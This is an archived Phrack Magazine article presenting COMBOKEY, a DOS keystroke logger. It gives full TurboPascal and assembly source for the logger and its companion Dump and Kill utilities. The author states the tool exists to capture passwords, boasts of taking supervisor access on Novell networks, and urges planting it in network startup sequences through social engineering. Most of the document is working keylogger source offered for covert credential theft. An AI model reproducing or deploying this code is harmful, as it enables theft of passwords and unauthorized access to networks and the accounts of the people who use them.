home *** CD-ROM | disk | FTP | other *** search
- ==Phrack Magazine==
-
- Volume Seven, Issue Forty-Eight, File 12 of 18
-
-
- COMBOKEY and the Simplistic Art of PC Hacking
- -or-
- KeyTrap Revisited
-
- by Sendai
- (with apologies to Dcypher)
-
- NOTE: Of course I take no responsibility when you use this and get
- kicked out of school or something stupid. Besides, why would you be so
- stupid as to get caught in the first place? :-) So be careful, and have
- fun. Don't get stupid.
-
- WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
- * At least a reading knowledge of TurboPascal and 8086 assembly
- * A tolerable understanding of how the PC actually works or
- * A copy of Queue's "MS-DOS Programmer's Reference"
- * A copy of that yellow-spined "Indespensable PC Hardware Reference" book
-
-
- ON WITH IT...
- It was with a little dissatisfaction that I read Dcypher's KeyTrap
- article the other day (so I'm back-logged a few issues, so sue me!)
- I've been foolin' around with a version of this that I first wrote about
- five years ago during high school, and well, I thought mine was a little
- easier to understand.
-
- So I'm gonna show you my version, actually explain how the damn thing
- works, and hope somebody out there has their day brightened by using
- this program.
-
- Note that the only reason I wrote this thing was to record passwords on
- a Novell net. It will record all keypresses, but it really has limited
- use other than hacking.
-
- Fun fact: With this program, it has taken me an average of about six
- hours to snag supervisor on every Novell net I've nailed. And I'm sure
- you can do better. ;-)
-
-
- PC KEYBOARD HANDLING 101
- Okay, a quick review for those PC newbies out there. When a key is
- pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
- causing the machine to look up the address of the 9th Interrupt Service
- Routine. The ISR is typically in ROM; the interrupt vector itself is
- not.
-
- A key recorder is a program that simply latches itself into the
- interrupt 9 handler by replacing the old vector with its own address.
- By doing this, every time a key is pressed, we know about it.
-
-
- ENTER COMBOKEY (That'd be the key recorder)
- I differ with my strategy from Dcypher in that I don't bother going
- directly to the keybard hardware. COMBOKEY just goes ahead and calls
- the old ISR and then looks in the BIOS keyboard buffer to see what the
- key was. Yeah, you don't get the funky-ass key combinations like
- control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.
-
- When a new key is pressed, it's dumped in the buffer. When the buffer
- is full, nothing happens. I'll leave writing it to a file as an
- exercise to the reader.
-
- My favorite feature, if I may say so myself, is the fact that COMBOKEY
- has an API in it, sort of. Interrupt 255 is also latched and provides
- the "user" an interface to the presently running copy of COMBOKEY. But
- not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
- dump or whatever. First, you gotta send a combination.
-
- Look at the "const" section of COMBOKEY and you'll see a constant array
- of four bytes. Change these numbers to whatever the hell you want. To
- use the COMBOKEY interface you need to send each of these bytes
- sequentially in AX to ISR 255. Look at the "DoCombo" procedure in Dump
- or Kill to see what I mean.
-
- After you send the combo, you send one more byte that represents the
- command.
-
- Dump buffer: AX=C0h Dumps the buffer to a chunk of memory at ES:DI.
- Get info: AX=C2h Sends a TinfoRec (see source) to ES:DI.
- Kill: AX=C1h Deactivates the recorder.
-
- There are two additional programs following: Dump and Kill. These just
- use the interface to do their appropriate actions.
-
- THE PROPER ETIQUETTE OF COMBOKEY
- There's a good deal of social engineering involved with using COMBOKEY.
- Since it works on only the machine you put it on, you have to know where
- to put it in the first place to be most effective. (Or be really
- resourceful and put it on every machine around.)
-
- To maximize your amusement, get the supervisor password first, and then
- put this program in the startup sequence of the network. Then go nuts.
-
- This program gets REALLY fun when your net is equipped with TCP/IP apps
- like Telnet, and some moron has their home machine hooked up to the
- Net, and they actually log into it with root from your net. Instant
- party.
-
- NEAT TRICKS TO TRY
- If I ever get around to it, it'd be cool to use the IPX interface to
- actually broadcast the keystrokes over to a waiting machine for instant
- feedback.
-
- The next trick to try is to maybe build a hardware version of this with
- a little microcontroller. A Motorola 68HC11 would do nicely. This
- would get rid of the pesky problem of reseting the machine or turning
- the power off.
-
- Ah well. Comments and the like to jsrs@cyberspace.com. Happy hunting.
-
- -------------------------------------------------------------------------------
- { Source notes:
- This'll compile on TurboPascal 6 or better. Might even work with 5.
- Why Turbo? Cause it generates damn tight code, and it's much more readable
- for the newbies than all assembly. }
-
- {ComboKey - It's a TSR, so we gotta do the mem setup. }
- {$M 1024, 0, 2100}
- program ComboKey;
-
- uses Dos; { For Keep() }
-
- const
- DUMP_BUFFER = $C0;
- KILL_RECORDER = $C1;
- GET_INFO = $C2;
-
- BUFSIZE = 2048; { In bytes, NOT paragraphs! }
- DISPLAY_MAX = 100;
- combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );
-
- type
- PBuf = ^TBuf;
- TBuf = Array[0..BUFSIZE-1] of Byte;
- PInfoRec = ^TInfoRec;
- TInfoRec = record
- buffer_size: Word; { Word is 16 bit, unsigned }
- overwrite: Word;
- buffer_ptr: Word;
- end;
-
- var
- old9o, old9s: Word; { Must be in this order! }
- wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
- q_top: Word absolute $40:$80;
- q_bot: Word absolute $40:$82;
- buffer: PBuf;
- buf_ptr: Word;
- overwrite_ctr: Word;
- last_wptr: Word;
- tumbler: Byte; { How many numbers in the combo right so far? }
-
- procedure SetVector( int: Byte; s, o: Word);
- begin
- asm
- push ds
- cli
- mov ah, 25h
- mov al, int
- mov ds, s
- mov dx, o
- int 21h
- sti
- pop ds
- end;
- end;
-
- procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
- interrupt;
- var
- offset: Word;
- c: Byte;
- l: Word;
- ctr: Word;
- begin
- { First call the old handler. Do the pushf, cause this is an
- interrupt handler. }
- asm
- pushf
- call dword ptr [old9o] { Since old9s is next, it works }
- cli
- end;
-
- { This isn't a press, but a release - ignore it. }
- if last_wptr = wptr then Exit;
-
- last_wptr:=wptr;
-
- { Did the queue just wrap? }
- if (wptr = q_top) then offset:=q_bot-2
- else offset:=wptr-2;
-
- Inc(buf_ptr);
- if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
- buf_ptr:=0;
- Inc(overwrite_ctr);
- end;
-
- buffer^[buf_ptr]:=Mem[$40:offset];
-
- asm
- sti
- end;
- end;
-
- { Here's the interface system. Don't bother saving the old $FF,
- cause who uses it anyway?! }
- procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
- interrupt;
- var
- command: Word;
- res, rdi: Word;
- infoptr: PInfoRec;
- l: Word;
- begin
- command:=AX;
- res:=ES;
- rdi:=DI;
-
- if tumbler=4 then begin { we have a winner... }
- tumbler:=0;
- asm
- sti
- end;
-
- case command of
- DUMP_BUFFER: begin
- asm
- push ds
- mov cx, BUFSIZE
- mov es, [res]
- mov di, [rdi]
- mov ax, [WORD PTR buffer+2]
- mov ds, ax
- mov ax, [WORD PTR buffer]
- mov si, ax
-
- cld
- rep movsb
- pop ds
- end;
- end;
-
- KILL_RECORDER: begin
- SetVector(9, old9s, old9o);
- end;
-
- GET_INFO: begin
- asm
- mov es, [res]
- mov di, [rdi]
- mov ax, BUFSIZE
- mov es:[di], ax
- mov ax, [overwrite_ctr]
- mov es:[di+2], ax
- mov ax, [buf_ptr]
- mov es:[di+4], ax
- end;
- end;
- end;
-
- asm
- cli
- end;
- end;
-
- if command=combo[tumbler] then Inc(tumbler)
- else tumbler:=0;
- end;
-
- begin
- asm
- mov ah, $35
- mov al, 9
- int $21
-
- mov ax, es
- mov old9s, ax
- mov old9o, bx
- end;
-
- SetVector(9, Seg(NewInt09), Ofs(NewInt09));
- SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));
-
- buffer:=New(PBuf);
- buf_ptr:=0;
- overwrite_ctr:=0;
- last_wptr:=0;
- tumbler:=0;
-
- Keep(0);
- end.
-
-
-
- -------------------------------------------------------------------------------
-
- { Kills the keyrecorder }
- program Kill;
-
- const
- combo0 = 01;
- combo1 = 01;
- combo2 = 19;
- combo3 = 74;
-
- KILL_RECORDER = $C1;
-
- procedure ResetCombo;
- var
- l: Word;
- begin
- for l:=1 to 4 do asm
- mov ax, 0
- int $ff
- end;
- end;
-
- procedure DoCombo;
- begin
- asm
- mov ax, combo0
- int $ff
- mov ax, combo1
- int $ff
- mov ax, combo2
- int $ff
- mov ax, combo3
- int $ff
- end;
- end;
-
- begin
- ResetCombo;
- DoCombo;
- asm
- mov ax, KILL_RECORDER
- int $ff
- end;
- end.
-
-
- -------------------------------------------------------------------------------
-
- { Syntax:
- DUMP DESTFILE.FIL
-
- This'll dump the buffer information and contents to the file. If
- no file is given, it goes to the screen. }
-
- program Dump;
-
- const
- combo0 = 01;
- combo1 = 01;
- combo2 = 19;
- combo3 = 74;
-
- DUMP_BUFFER = $C0;
- GET_INFO = $C2;
-
- type
- PInfoRec = ^TInfoRec;
- TInfoRec = record
- buffer_size: Word;
- overwrite: Word;
- buffer_ptr: Word;
- end;
-
- var
- info: TInfoRec;
- buffer: Array[0..8191] of Byte;
- l: Word;
- f: Text;
-
- procedure ResetCombo;
- var
- l: Word;
- begin
- for l:=1 to 4 do asm
- mov ax, 0
- int $ff
- end;
- end;
-
- procedure DoCombo;
- begin
- asm
- mov ax, combo0
- int $ff
- mov ax, combo1
- int $ff
- mov ax, combo2
- int $ff
- mov ax, combo3
- int $ff
- end;
- end;
-
- begin
- Assign(f, ParamStr(1));
- Rewrite(f);
-
- ResetCombo;
-
- DoCombo;
- asm
- mov ax, SEG info
- mov es, ax
- mov di, OFFSET info
- mov ax, GET_INFO
- int $ff
- end;
-
- writeln(f,'Buffer size: ',info.buffer_size);
- writeln(f,'Buffer ptr: ',info.buffer_ptr);
- writeln(f,'Overwrite: ',info.overwrite);
-
- DoCombo;
- asm
- mov ax, SEG buffer
- mov es, ax
- mov di, OFFSET buffer
- mov ax, DUMP_BUFFER
- int $ff
- end;
-
- for l:=0 to info.buffer_ptr do begin
- write(f, Char(buffer[l]));
- if buffer[l] = 13 then write(f,#10);
- end;
-
- Close(f);
- end.
-
-